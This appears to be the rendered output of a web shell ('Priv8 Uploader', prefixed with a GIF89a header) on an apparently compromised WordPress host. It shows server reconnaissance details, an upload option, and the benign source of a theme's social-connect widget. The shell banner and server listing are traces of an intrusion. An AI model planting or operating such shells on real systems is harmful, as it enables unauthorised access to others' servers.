GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/Simply/lib/widgets/social-connect.php
<?php

global $theme;

$themater_social_connect_defaults = array(
    'rss' => 'true',
    'rss_title' => 'Subscribe to our RSS Feed',
    'rss_url' => $theme->rss_url(),
    'rss_image' => THEMATER_URL . '/images/social-connect-rss.png',
    'twitter' => 'true',
    'twitter_title' => 'Follow Us on Twitter',
    'twitter_url' => 'http://twitter.com/#',
    'twitter_image' => THEMATER_URL . '/images/social-connect-twitter.png',
    'facebook' => 'true',
    'facebook_title' => 'Be Our Fan on Facebook',
    'facebook_url' => 'http://facebook.com/#',
    'facebook_image' => THEMATER_URL . '/images/social-connect-facebook.png'
);

$theme->options['widgets_options']['socialconnect'] = is_array($theme->options['widgets_options']['socialconnect'])
    ? array_merge($themater_social_connect_defaults, $theme->options['widgets_options']['socialconnect'])
    : $themater_social_connect_defaults;
        
add_action('widgets_init', create_function('', 'return register_widget("ThematerSocialConnect");'));

class ThematerSocialConnect extends WP_Widget 
{
    function ThematerSocialConnect() 
    {
        $widget_options = array('description' => __('Add links/buttons to your social network profiles.', 'themater') );
        $control_options = array( 'width' => 400);
		$this->WP_Widget('themater_social_connect', '&raquo; Social Connect Buttons', $widget_options, $control_options);
    }

    function widget($args, $instance)
    {
        extract( $args );
        
        if($instance['rss']) {
            ?>
            	<ul class="widget-wrap"><li class="social-connect-widget">
                    <?php
                        if($instance['rss_image']) {
                            ?>
                                <a href="<?php echo strip_tags($instance['rss_url']); ?>" target="_blank"><img src="<?php echo strip_tags($instance['rss_image']); ?>" alt="<?php echo strip_tags($instance['rss_title']); ?>" title="<?php echo strip_tags($instance['rss_title']); ?>" /></a> 
                            <?php
                        }
                    ?>
                    <a href="<?php echo strip_tags($instance['rss_url']); ?>" target="_blank"><?php echo strip_tags($instance['rss_title']); ?></a>
                </li></ul>
            <?php
        }
        
        if($instance['twitter']) {
            ?>
                <ul class="widget-wrap"><li class="social-connect-widget">
                    <?php
                        if($instance['twitter_image']) {
                            ?>
                                <a href="<?php echo strip_tags($instance['twitter_url']); ?>" target="_blank"><img src="<?php echo strip_tags($instance['twitter_image']); ?>" alt="<?php echo strip_tags($instance['twitter_title']); ?>" title="<?php echo strip_tags($instance['twitter_title']); ?>" /></a> 
                            <?php
                        }
                    ?>
                    <a href="<?php echo strip_tags($instance['twitter_url']); ?>" target="_blank"><?php echo strip_tags($instance['twitter_title']); ?></a>
                </li></ul>
            <?php
        }
        
        if($instance['facebook']) {
            ?>
                <ul class="widget-wrap"><li class="social-connect-widget">
                    <?php
                        if($instance['facebook_image']) {
                            ?>
                                <a href="<?php echo strip_tags($instance['facebook_url']); ?>" target="_blank"><img src="<?php echo strip_tags($instance['facebook_image']); ?>" alt="<?php echo strip_tags($instance['facebook_title']); ?>" title="<?php echo strip_tags($instance['facebook_title']); ?>" /></a> 
                            <?php
                        }
                    ?>
                    <a href="<?php echo strip_tags($instance['facebook_url']); ?>" target="_blank"><?php echo strip_tags($instance['facebook_title']); ?></a>
                </li></ul>
            <?php
        }
        
        if($instance['custom']) {
            ?>
                <ul class="widget-wrap"><li class="social-connect-widget">
                    <?php
                        if($instance['custom_image']) {
                            ?>
                                <a href="<?php echo strip_tags($instance['custom_url']); ?>" target="_blank"><img src="<?php echo strip_tags($instance['custom_image']); ?>" alt="<?php echo strip_tags($instance['custom_title']); ?>" title="<?php echo strip_tags($instance['custom_title']); ?>" /></a> 
                            <?php
                        }
                    ?>
                    <a href="<?php echo strip_tags($instance['custom_url']); ?>" target="_blank"><?php echo strip_tags($instance['custom_title']); ?></a>
                </li></ul>
            <?php
        }
    }

    function update($new_instance, $old_instance) 
    {				
    	$instance = $old_instance;
    	$instance['rss'] = strip_tags($new_instance['rss']);
        $instance['rss_title'] = strip_tags($new_instance['rss_title']);
        $instance['rss_url'] = strip_tags($new_instance['rss_url']);
        $instance['rss_image'] = strip_tags($new_instance['rss_image']);
        $instance['twitter'] = strip_tags($new_instance['twitter']);
        $instance['twitter_title'] = strip_tags($new_instance['twitter_title']);
        $instance['twitter_url'] = strip_tags($new_instance['twitter_url']);
        $instance['twitter_image'] = strip_tags($new_instance['twitter_image']);
        $instance['facebook'] = strip_tags($new_instance['facebook']);
        $instance['facebook_title'] = strip_tags($new_instance['facebook_title']);
        $instance['facebook_url'] = strip_tags($new_instance['facebook_url']);
        $instance['facebook_image'] = strip_tags($new_instance['facebook_image']);
        $instance['custom'] = strip_tags($new_instance['custom']);
        $instance['custom_title'] = strip_tags($new_instance['custom_title']);
        $instance['custom_url'] = strip_tags($new_instance['custom_url']);
        $instance['custom_image'] = strip_tags($new_instance['custom_image']);
        return $instance;
    }
    
    function form($instance) 
    {	
        global $theme;
		$instance = wp_parse_args( (array) $instance, $theme->options['widgets_options']['socialconnect'] );
        
        ?>
        <div class="tt-widget">
            <div class="tt-widgettitle">RSS Subscription</div>
            <table width="100%">
                <tr>
                    <td class="tt-widget-label" width="20%">Enabled?</td>
                    <td class="tt-widget-content" width="80%"><input type="checkbox" name="<?php echo $this->get_field_name('rss'); ?>" <?php checked('true', $instance['rss']); ?> value="true"  /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Title</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('rss_title'); ?>" value="<?php echo esc_attr($instance['rss_title']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">URL</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('rss_url'); ?>" value="<?php echo esc_attr($instance['rss_url']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Image</td>
                    <td class="tt-widget-content"><?php if($instance['rss_image']) {?><img src="<?php echo esc_attr($instance['rss_image']); ?>" /><?php }?> <input type="text" class="widefat" name="<?php echo $this->get_field_name('rss_image'); ?>" value="<?php echo esc_attr($instance['rss_image']); ?>" /></td>
                </tr>
            </table>
          </div>
          
          <div class="tt-widget">  
            <div class="tt-widgettitle">Twitter</div>
            <table width="100%">
                <tr>
                    <td class="tt-widget-label" width="20%">Enabled?</td>
                    <td class="tt-widget-content" width="80%"><input type="checkbox" name="<?php echo $this->get_field_name('twitter'); ?>" <?php checked('true', $instance['twitter']); ?> value="true"  /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Title</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('twitter_title'); ?>" value="<?php echo esc_attr($instance['twitter_title']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">URL</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('twitter_url'); ?>" value="<?php echo esc_attr($instance['twitter_url']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Image</td>
                    <td class="tt-widget-content"><?php if($instance['twitter_image']) {?><img src="<?php echo esc_attr($instance['twitter_image']); ?>" /><?php }?> <input type="text" class="widefat" name="<?php echo $this->get_field_name('twitter_image'); ?>" value="<?php echo esc_attr($instance['twitter_image']); ?>" /></td>
                </tr>
            </table>
        </div>
        
        <div class="tt-widget">
            <div class="tt-widgettitle">Facebook</div>
            <table width="100%">
                <tr>
                    <td class="tt-widget-label" width="20%">Enabled?</td>
                    <td class="tt-widget-content" width="80%"><input type="checkbox" name="<?php echo $this->get_field_name('facebook'); ?>" <?php checked('true', $instance['facebook']); ?> value="true"  /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Title</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('facebook_title'); ?>" value="<?php echo esc_attr($instance['facebook_title']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">URL</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('facebook_url'); ?>" value="<?php echo esc_attr($instance['facebook_url']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Image</td>
                    <td class="tt-widget-content"><?php if($instance['facebook_image']) {?><img src="<?php echo esc_attr($instance['facebook_image']); ?>" /><?php }?> <input type="text" class="widefat" name="<?php echo $this->get_field_name('facebook_image'); ?>" value="<?php echo esc_attr($instance['facebook_image']); ?>" /></td>
                </tr>
            </table>
        </div>
        
        <div class="tt-widget">
            <div class="tt-widgettitle">Custom Network</div>
            <table width="100%">
                <tr>
                    <td class="tt-widget-label" width="20%">Enabled?</td>
                    <td class="tt-widget-content" width="80%"><input type="checkbox" name="<?php echo $this->get_field_name('custom'); ?>" <?php checked('true', $instance['custom']); ?> value="true"  /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Title</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('custom_title'); ?>" value="<?php echo esc_attr($instance['custom_title']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">URL</td>
                    <td class="tt-widget-content"><input type="text" class="widefat" name="<?php echo $this->get_field_name('custom_url'); ?>" value="<?php echo esc_attr($instance['custom_url']); ?>" /></td>
                </tr>
                
                <tr>
                    <td class="tt-widget-label">Image</td>
                    <td class="tt-widget-content"><?php if($instance['custom_image']) {?><img src="<?php echo esc_attr($instance['custom_image']); ?>" /><?php }?> <input type="text" class="widefat" name="<?php echo $this->get_field_name('custom_image'); ?>" value="<?php echo esc_attr($instance['custom_image']); ?>" /></td>
                </tr>
            </table>
        </div>
        <?php 
    }
} 
?>